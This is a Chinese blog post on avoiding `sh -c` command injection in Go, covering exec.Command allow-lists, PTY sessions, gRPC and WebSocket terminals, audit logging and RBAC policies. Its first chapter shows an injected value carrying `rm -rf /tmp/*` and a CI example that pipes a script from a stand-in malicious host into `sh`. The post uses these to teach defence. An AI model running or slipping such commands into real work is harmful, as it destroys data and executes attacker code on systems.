Posted in

【生产环境禁用shell -c】:golang安全创建终端的3种替代方案(避免命令注入与权限越界)

第一章:Shell -c在生产环境中的安全风险本质剖析

shell -c 是 POSIX 兼容 shell(如 bash、dash、zsh)中用于执行动态命令字符串的核心机制,其设计初衷是支持脚本化与管道集成,但恰恰因其“将字符串解析为可执行命令”的语义,在生产环境中成为高危攻击面。

动态命令解析的本质脆弱性

-c 选项强制 shell 对传入的字符串进行完整词法分析、变量展开、命令替换与重定向解析。一旦该字符串部分或全部来源于外部输入(如 HTTP 参数、数据库字段、日志内容),未经严格净化,就构成典型的命令注入漏洞。例如:

# 危险示例:用户可控输入直接拼接
user_input="; rm -rf /tmp/*"
eval "echo 'Hello $user_input'"  # ❌ 等效于 echo 'Hello '; rm -rf /tmp/*
# 实际执行时,分号触发新命令,导致任意命令执行

常见误用场景与风险放大因素

  • 日志回显场景:将 $(hostname) 或 $USER 等未过滤环境变量嵌入 -c 字符串;
  • 容器启动命令:Docker/K8s 中以 sh -c "exec $CMD" 方式启动服务,而 $CMD 来自配置中心;
  • CI/CD 流水线:Jenkins Pipeline 使用 sh(script: "cd ${WORKSPACE} && ${BUILD_SCRIPT}"),若 BUILD_SCRIPT 含 $(curl http://malicious.site/payload.sh | sh) 则失守。

安全替代方案对比

场景 不安全方式 推荐替代方式 安全原理
执行固定命令序列 sh -c "cmd1 && cmd2" 直接调用 cmd1 && cmd2(无 shell) 避免 shell 解析层
参数化执行 sh -c "grep $TERM file" grep -- "$TERM" file 使用 execve() 系统调用绕过 shell
复杂逻辑封装 bash -c 'for i in $@; do ...' _ arg1 arg2 改写为函数 + 显式参数传递 消除字符串插值,依赖位置参数

根本防御原则:永远不将不可信数据送入 -c 字符串;若必须动态构造,应使用白名单校验 + printf %q 转义(仅限可信上下文),并优先采用 exec 或语言原生进程 API 替代 shell 启动。

第二章:基于os/exec的安全进程启动范式

2.1 使用exec.Command构建白名单命令执行链

在 Go 中,exec.Command 是安全执行外部命令的核心接口。构建白名单命令执行链的关键在于完全控制二进制路径与参数结构,杜绝 shell 解析与参数注入。

白名单校验逻辑

  • 预定义合法命令路径(如 /bin/ls, /usr/bin/curl)
  • 参数仅允许预设键值对或正则匹配的字符串
  • 禁止使用 sh -c、bash -c 等间接执行方式

安全调用示例

cmd := exec.Command("/bin/ls", "-l", "/tmp") // ✅ 绝对路径 + 显式参数列表
cmd.Env = []string{"PATH=/bin:/usr/bin"}      // ✅ 限定环境变量
out, err := cmd.Output()

该调用绕过 shell 解析,/bin/ls 为硬编码白名单路径;-l 和 /tmp 作为独立参数传入,避免空格/分号注入;Env 重置确保无污染 PATH。

典型白名单配置表

命令 允许参数模式 超时(s)
/bin/ls ^-l$|^--help$ 5
/usr/bin/curl ^https?://[^\s]+$ 30
graph TD
    A[用户请求] --> B{命令名匹配白名单?}
    B -->|否| C[拒绝]
    B -->|是| D{参数符合正则规则?}
    D -->|否| C
    D -->|是| E[exec.Command 执行]

2.2 环境变量隔离与用户上下文降权实践

在多租户或CI/CD流水线中,环境变量泄露和进程权限过高是常见风险源。核心原则是:变量按需注入、进程以最小权限运行。

环境变量作用域控制

使用 .env.local 配合 dotenv 的 path 选项实现文件级隔离:

# .env.production(仅部署时加载)
API_BASE_URL=https://api.prod.example.com
DB_HOST=prod-db.internal
// Node.js 运行时显式加载
require('dotenv').config({ 
  path: process.env.NODE_ENV === 'production' 
    ? '.env.production' 
    : '.env.development' 
});

✅ path 参数强制限定加载路径,避免开发环境误读生产密钥;process.env.NODE_ENV 作为可信上下文开关,杜绝动态拼接路径导致的路径遍历风险。

用户降权执行策略

场景 推荐用户 权限边界
Web服务进程 www-data 仅读取静态资源与配置
数据库迁移脚本 db-migrator 仅对迁移表有 DML 权限
日志轮转任务 logrotate 仅操作 /var/log/app/*
graph TD
  A[启动容器] --> B{检测运行模式}
  B -->|production| C[切换至 app-user]
  B -->|test| D[保持 root 仅限测试]
  C --> E[加载 .env.production]
  D --> F[加载 .env.test]

2.3 标准流重定向与实时输出捕获的工程化封装

实时捕获的核心抽象

需同时监听 stdout 与 stderr,并保证事件顺序与时间戳精确对齐。传统 subprocess.run() 阻塞式调用无法满足流式处理需求。

封装设计原则

  • 非阻塞 I/O + 线程安全缓冲区
  • 输出行级切分与元数据注入(时间戳、流类型)
  • 支持回调注册与异步迭代器接口

关键实现代码

import subprocess, threading, queue, time
from typing import Callable, Dict, Any

def stream_capture(cmd: list, on_line: Callable[[Dict[str, Any]], None]):
    proc = subprocess.Popen(
        cmd,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,  # 统一流合并
        bufsize=1,
        text=True,
        encoding='utf-8'
    )
    def reader():
        for line in iter(proc.stdout.readline, ''):
            on_line({
                "timestamp": time.time(),
                "content": line.rstrip("\n"),
                "stream": "stdout"
            })
        proc.stdout.close()
    threading.Thread(target=reader, daemon=True).start()
    return proc

逻辑分析:iter(proc.stdout.readline, '') 构建生成器实现逐行非阻塞读取;daemon=True 确保子线程随主程序退出;on_line 回调注入结构化日志上下文,为后续日志聚合与监控埋点提供统一契约。

捕获能力对比表

特性 subprocess.run() 工程化封装方案
实时性 ❌(全量阻塞) ✅(毫秒级延迟)
流区分 ❌(需手动分离) ✅(stream 字段标识)
可扩展性 ❌(硬编码) ✅(回调+插件式处理)
graph TD
    A[启动子进程] --> B[创建守护线程]
    B --> C[按行读取stdout]
    C --> D[构造带时间戳的字典]
    D --> E[触发on_line回调]
    E --> F[交由下游处理器]

2.4 超时控制、信号中断与子进程生命周期管理

超时与信号协同的健壮执行模型

当子进程可能阻塞或失控时,需同时约束执行时长并响应外部中断:

import subprocess, signal, time

def run_with_timeout(cmd, timeout=5):
    try:
        proc = subprocess.Popen(
            cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            preexec_fn=os.setsid  # 确保可终止整个进程组
        )
        stdout, _ = proc.communicate(timeout=timeout)
        return proc.returncode, stdout.decode()
    except subprocess.TimeoutExpired:
        os.killpg(proc.pid, signal.SIGTERM)  # 终止进程组
        time.sleep(0.5)
        if proc.poll() is None:
            os.killpg(proc.pid, signal.SIGKILL)  # 强制清理
        return -1, "Timeout and terminated"

timeout 参数指定等待秒数;preexec_fn=os.setsid 创建新会话,使 SIGTERM 可作用于全部子线程;communicate() 内部自动处理 SIGCHLD 回收。

关键信号语义对照表

信号 默认动作 适用场景 是否可捕获
SIGTERM 终止 请求优雅退出 是
SIGKILL 强制终止 清理僵死进程 否
SIGCHLD 忽略 子进程状态变更通知 是

生命周期状态流转

graph TD
    A[spawn] --> B[running]
    B --> C{timeout?}
    B --> D{signal received?}
    C -->|yes| E[send SIGTERM]
    D -->|yes| E
    E --> F[wait for exit]
    F --> G{still alive?}
    G -->|yes| H[send SIGKILL]
    G -->|no| I[reap & cleanup]

2.5 命令参数化校验与结构化输入验证机制

命令行工具的健壮性始于输入边界的精确控制。传统 if len(sys.argv) < 2 式校验过于脆弱,现代方案需融合类型约束、范围限定与语义解析。

校验策略分层设计

  • 语法层:POSIX/GNU 风格参数解析(--host, -p)
  • 语义层:IP 地址合法性、端口范围 [1,65535]、路径存在性
  • 业务层:如 --mode=sync 仅允许预定义枚举值

结构化验证示例

from pydantic import BaseModel, Field, validator

class CommandInput(BaseModel):
    host: str = Field(..., regex=r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$")
    port: int = Field(..., ge=1, le=65535)
    timeout: float = Field(5.0, gt=0.1)

    @validator('host')
    def validate_ip(cls, v):
        parts = list(map(int, v.split('.')))
        if not all(0 <= p <= 255 for p in parts):
            raise ValueError('Octet out of range')
        return v

该模型强制执行三重校验:正则初筛 → 数值范围 → 逻辑语义(IPv4八位组有效性)。Field(...) 表示必填,ge/le 定义端口闭区间,gt 确保超时为正浮点。

参数组合有效性矩阵

参数组合 合法性 冲突说明
--host --port ✅ 基础连接配置
--host --mode=backup ✅ 扩展模式兼容
--port --mode=local ❌ --host 缺失导致上下文不完整
graph TD
    A[原始argv] --> B[ArgParse 解析]
    B --> C{结构化Schema加载}
    C -->|成功| D[Pydantic 验证]
    C -->|失败| E[抛出ArgumentError]
    D -->|通过| F[注入业务逻辑]
    D -->|失败| G[统一ValidationError]

第三章:终端仿真与PTY会话的安全替代方案

3.1 golang.org/x/term实现伪终端I/O的零依赖集成

golang.org/x/term 是 Go 官方维护的轻量级终端 I/O 库,专为跨平台伪终端(PTY)交互设计,不依赖 cgo 或系统原生库。

核心能力概览

  • 支持读取/写入原始终端字节流
  • 提供 MakeRaw() / Restore() 控制终端模式
  • 自动适配 Windows conpty 与 Unix ioctl

终端模式切换示例

import "golang.org/x/term"

fd := int(os.Stdin.Fd())
state, _ := term.MakeRaw(fd) // 关闭回显、行缓冲等
defer term.Restore(fd, state) // 恢复原始状态

MakeRaw() 禁用 ICANON、ECHO 等 POSIX 标志;Windows 下调用 SetConsoleMode 清除 ENABLE_LINE_INPUT | ENABLE_ECHO_INPUT。fd 必须为有效终端文件描述符,否则行为未定义。

跨平台兼容性对比

平台 底层机制 是否需 cgo
Linux ioctl(TCGETS) 否
macOS ioctl(TIOCGETA) 否
Windows GetConsoleMode 否
graph TD
    A[term.ReadPassword] --> B{OS == “windows”?}
    B -->|Yes| C[conpty API]
    B -->|No| D[POSIX tcgetattr]

3.2 github.com/creack/pty在容器化场景下的安全适配

github.com/creack/pty 提供了跨平台伪终端(PTY)创建能力,但在容器中直接使用存在权限与隔离风险。

容器环境下的典型问题

  • 默认 CAP_SYS_ADMIN 被禁用,导致 ioctl(TIOCSCTTY) 失败
  • /dev/pts 挂载缺失或只读,无法分配 slave 设备
  • 安全上下文(如 SELinux/AppArmor)可能拒绝 openpty() 系统调用

安全加固实践

// 安全初始化PTY:显式限制主从fd权限并关闭非必要标志
pty, err := pty.StartWithArgs(pty.Args{
    Cmd:   "sh",
    Term:  "xterm-256color",
    Winsize: &pty.Winsize{Rows: 24, Cols: 80},
    Setctty: false, // 避免TIOCSCTTY调用,规避CAP_SYS_ADMIN依赖
})

Setctty: false 关键参数避免控制终端抢占,适配容器无会话 leader 的约束;Winsize 预设尺寸防止 ioctl 争用。

权限最小化对照表

能力 宿主机 默认容器 安全适配容器
openpty() ✅ ❌(无/dev/pts) ✅(挂载/dev/pts rw)
TIOCSCTTY ✅ ❌ ❌(禁用)
ioctl(TCGETS) ✅ ✅ ✅
graph TD
    A[应用调用StartWithArgs] --> B{Setctty=false?}
    B -->|是| C[跳过TIOCSCTTY]
    B -->|否| D[触发CAP_SYS_ADMIN检查]
    C --> E[成功返回PTY文件描述符]
    D --> F[容器内失败]

3.3 自定义TTY抽象层:面向Kubernetes Pod exec的轻量封装

为统一处理 kubectl exec、kubectx 及自研运维工具中的终端交互,我们构建了轻量级 TTY 抽象层,屏蔽底层 pty 分配与流式 I/O 差异。

核心设计原则

  • 单例 TTYSession 管理生命周期
  • 自动协商 TERM=xterm-256color 与窗口尺寸
  • 支持 stdin/stdout/stderr 三通道独立缓冲

关键接口契约

type TTY interface {
    Open(podName, container string, opts ExecOptions) error
    Write([]byte) (int, error)
    Read() ([]byte, error)
    Resize(width, height uint16) error
}

ExecOptions 包含 Namespace、Stdin(是否启用)、TTY(是否分配伪终端)等字段;Resize 触发 SIGWINCH 事件同步至容器进程。

数据流向示意

graph TD
    A[CLI输入] --> B[TTYSession.Write]
    B --> C[WebSocket Frame]
    C --> D[kube-apiserver/exec]
    D --> E[Pod内containerd-shim]
    E --> F[容器进程PTY]
特性 原生 exec 自定义TTY
窗口自适应 ❌ ✅
多路复用 ❌ ✅(基于session ID)
错误上下文 模糊 结构化(含pod UID)

第四章:声明式终端交互协议的设计与落地

4.1 基于gRPC的终端会话服务接口定义与双向流实现

接口设计哲学

终端会话需支持命令下发、实时输出、中断控制与状态同步,gRPC 的 stream 语义天然契合此场景。核心采用 双向流(Bidi Streaming),避免轮询与长连接维护开销。

.proto 关键定义

service TerminalSession {
  // 客户端发送指令+参数,服务端流式返回执行日志与退出状态
  rpc StartSession(stream SessionRequest) returns (stream SessionResponse);
}

message SessionRequest {
  string command = 1;      // 如 "ls -la"
  bool interrupt = 2;      // true 表示终止当前执行
  int32 timeout_ms = 3;    // 单次命令超时(毫秒)
}

message SessionResponse {
  bytes output = 1;        // UTF-8 编码的实时 stdout/stderr
  bool is_complete = 2;    // true 表示命令结束(含 exit code)
  int32 exit_code = 3;     // 仅当 is_complete == true 时有效
}

逻辑分析:StartSession 建立全双工通道;SessionRequest 中 interrupt 字段支持软中断,避免强制 kill 进程;SessionResponse.output 为 bytes 类型,兼容二进制输出(如 ANSI 转义序列),保障终端渲染 fidelity。

流控与状态映射

状态事件 触发条件 响应行为
output chunk 进程写入 stdout/stderr 立即推送至客户端
is_complete=true 进程退出或超时 携带 exit_code 终止流
interrupt=true 客户端主动中断 服务端 SIGTERM 子进程

数据同步机制

双向流天然支持实时同步,但需注意:

  • 客户端需按序发送 SessionRequest(gRPC 保证顺序)
  • 服务端必须严格按执行时序生成 SessionResponse,避免乱序导致终端光标错乱
  • 使用 grpc.WithStreamInterceptor 注入上下文追踪 ID,便于分布式链路排查
graph TD
  A[Client] -->|SessionRequest stream| B[gRPC Server]
  B --> C[Spawn Process]
  C --> D[Capture stdout/stderr]
  D -->|SessionResponse stream| A
  A -->|interrupt=true| B
  B -->|SIGTERM| C

4.2 WebSocket+WebTTY在Web Admin Console中的端到端加密实践

为保障运维指令传输的机密性与完整性,Web Admin Console 采用 WebSocket 通道承载 WebTTY 会话,并在应用层实现端到端加密(E2EE)。

加密架构设计

  • 客户端生成一次性 AES-256-GCM 密钥,经服务端公钥(RSA-OAEP)加密后随首帧发送
  • 所有 TTY 数据帧(stdin/stdout)均以 nonce + ciphertext + authTag 格式封装
  • 密钥不落盘、不透传至服务端中间件,仅由浏览器与目标终端代理协商解密

核心加密流程

// 客户端密钥封装示例
const aesKey = await crypto.subtle.generateKey({ name: "AES-GCM", length: 256 }, true, ["encrypt", "decrypt"]);
const encryptedAesKey = await crypto.subtle.encrypt(
  { name: "RSA-OAEP" },
  serverPublicKey, // 从 /api/keys/public 获取的 PEM 公钥
  await crypto.subtle.exportKey("raw", aesKey.key)
);

逻辑分析:crypto.subtle.generateKey 创建对称密钥避免密钥重用;RSA-OAEP 提供抗填充攻击能力;exportKey("raw") 确保二进制密钥可被非对称加密。参数 serverPublicKey 必须通过 HTTPS + TLS 1.3 预加载,防止中间人篡改。

协议帧结构

字段 长度(字节) 说明
version 1 当前为 0x01
nonce 12 AES-GCM 随机数,每帧唯一
ciphertext variable 加密后的原始 TTY 数据
authTag 16 GCM 认证标签
graph TD
  A[Browser WebTTY] -->|AES-256-GCM 加密帧| B[WebSocket]
  B --> C[反向代理 TLS 终止]
  C --> D[Backend Agent]
  D -->|不解密,透传| E[Target Host TTY]
  E -->|同密钥解密| A

4.3 审计日志注入与操作溯源:OpenTelemetry集成方案

审计日志需在业务逻辑关键路径中自动注入上下文,而非侵入式埋点。OpenTelemetry SDK 提供 Span 生命周期钩子与 LogRecord 关联能力,实现操作行为与分布式追踪的双向绑定。

数据同步机制

通过 OtelAuditAppender 将 SLF4J 日志事件映射为结构化审计事件,并关联当前 SpanContext:

public class OtelAuditAppender extends AppenderBase<ILoggingEvent> {
  private final Tracer tracer = GlobalOpenTelemetry.getTracer("audit");

  @Override
  protected void append(ILoggingEvent event) {
    Span current = tracer.getCurrentSpan();
    if (current != null && "AUDIT".equals(event.getLevel().toString())) {
      current.addEvent("audit", 
        Attributes.of(
          AttributeKey.stringKey("user.id"), event.getMDCPropertyMap().get("uid"),
          AttributeKey.stringKey("action"), event.getFormattedMessage()
        )
      );
    }
  }
}

该实现利用 MDC 提取用户标识,将审计动作作为 Span 事件嵌入追踪链路,避免额外网络调用。Attributes.of() 构建可检索的键值对,支撑后续基于 Jaeger 或 Tempo 的溯源查询。

关键字段映射表

审计字段 OTel 属性键 用途
user_id audit.user_id 操作主体标识
resource audit.resource 被访问资源路径
result audit.result 成功/失败状态

追踪-日志关联流程

graph TD
  A[业务方法入口] --> B[创建Span并注入MDC]
  B --> C[执行审计日志打印]
  C --> D[OtelAppender捕获事件]
  D --> E[附加SpanContext至LogRecord]
  E --> F[导出至OTLP Collector]

4.4 RBAC策略嵌入:基于OPA Gatekeeper的动态权限裁决模型

策略即代码:ConstraintTemplate定义示例

apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
  name: rbac-rolebinding-allowed-namespaces
spec:
  crd:
    spec:
      names:
        kind: RBACRoleBindingAllowedNamespaces
      validation:
        openAPIV3Schema:
          properties:
            namespaces:
              type: array
              items: { type: string }
  targets:
    - target: admission.k8s.io
      rego: |
        package rbac

        violation[{"msg": msg}] {
          input.review.kind.kind == "RoleBinding"
          rb := input.review.object
          not rb.metadata.namespace == ""
          not rb.metadata.namespace in input.parameters.namespaces
          msg := sprintf("RoleBinding %v in namespace %v violates allowed namespaces: %v",
            [rb.metadata.name, rb.metadata.namespace, input.parameters.namespaces])
        }

该模板声明了一个约束规则,仅允许 RoleBinding 创建于白名单命名空间。input.parameters.namespaces 由具体 Constraint 实例注入,input.review.object 提供准入请求原始对象;violation 规则触发时返回结构化错误信息,被 Gatekeeper 自动转为 HTTP 403 响应。

动态裁决流程

graph TD
  A[API Server Admission Request] --> B[Gatekeeper Webhook]
  B --> C{Evaluate Rego Policy}
  C -->|Allow| D[Proceed to Storage]
  C -->|Deny| E[Return 403 + Violation Message]

约束实例与RBAC上下文绑定

字段 类型 说明
match.kinds[].kind string 监控资源类型,如 "RoleBinding"
parameters.namespaces []string 运行时可配置的授权命名空间列表
status.totalViolations int 实时统计违反该约束的现存资源数
  • 策略生命周期独立于Kubernetes API版本演进
  • Rego逻辑支持细粒度属性组合(如 user.groups, rbac.authorization.k8s.io/v1)
  • 所有约束均可通过 kubectl get constraints 实时观测状态

第五章:Go终端安全演进路线图与SRE最佳实践共识

终端安全能力的三阶段跃迁路径

Go生态中终端安全能力并非线性演进,而是呈现清晰的阶段性特征:第一阶段(2018–2020)以golang.org/x/sys/unix裸系统调用为主,典型场景是手动实现seccomp-bpf过滤器;第二阶段(2021–2023)依托github.com/open-policy-agent/opa集成与go-selinux封装,实现策略即代码(Policy-as-Code)落地,如某金融客户在Kubernetes Node Agent中嵌入OPA Rego规则,拦截97%的非授权ptrace调用;第三阶段(2024起)进入零信任终端代理时代,代表项目gopsutil/v3与github.com/elastic/go-sysinfo深度耦合,支持运行时进程签名验证与内存页保护状态轮询。

SRE可观测性闭环中的安全信号融合

终端安全事件必须纳入SRE黄金指标体系。以下为某云原生平台实际采用的告警融合表:

指标维度 数据源 告警阈值 关联动作
syscall_denied_rate eBPF tracepoint + libbpf-go >5次/分钟 自动触发kubectl debug node并采集/proc/[pid]/maps
binary_integrity_violation go-rekor签名验证失败日志 单节点≥1次 调用curl -X POST https://sre-api/v1/incident创建P1事件
credential_leak_score gitleaks扫描结果+os/exec调用链分析 ≥0.8(余弦相似度) 阻断CI流水线并推送密钥轮换工单

安全加固的自动化执行流水线

某大型电商SRE团队构建了基于Go的终端加固流水线,核心模块使用github.com/mitchellh/go-homedir解析用户环境,并通过os/exec调用setcap完成最小权限赋权:

func applyCapabilites(binPath string) error {
    cmd := exec.Command("setcap", "cap_net_bind_service=+ep", binPath)
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr
    return cmd.Run()
}

该流水线每日自动扫描327台生产服务器,将/usr/local/bin/collector二进制文件的capability从cap_sys_admin降级为cap_net_bind_service,规避容器逃逸风险。

运行时防御的eBPF字节码热加载机制

采用cilium/ebpf库实现动态加载防护逻辑,关键设计包括:

  • 使用github.com/cilium/ebpf/btf解析内核BTF,确保tracepoint/syscalls/sys_enter_execve兼容性;
  • 通过github.com/DataDog/gsk生成Go绑定代码,避免C头文件依赖;
  • 热加载失败时自动回滚至前一版本字节码,保障服务连续性。

多租户终端隔离的实证案例

某政务云平台在Go编写的服务网格Sidecar中嵌入libseccomp-go,为不同委办局分配独立seccomp profile:财政局容器仅允许openat、read、write等12个系统调用,而卫健委系统因需调用ioctl操作医疗设备驱动,额外白名单ioctl及其参数结构体哈希值,该策略经go-fuzz持续模糊测试验证无绕过路径。

从 Consensus 到容错,持续探索分布式系统的本质。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注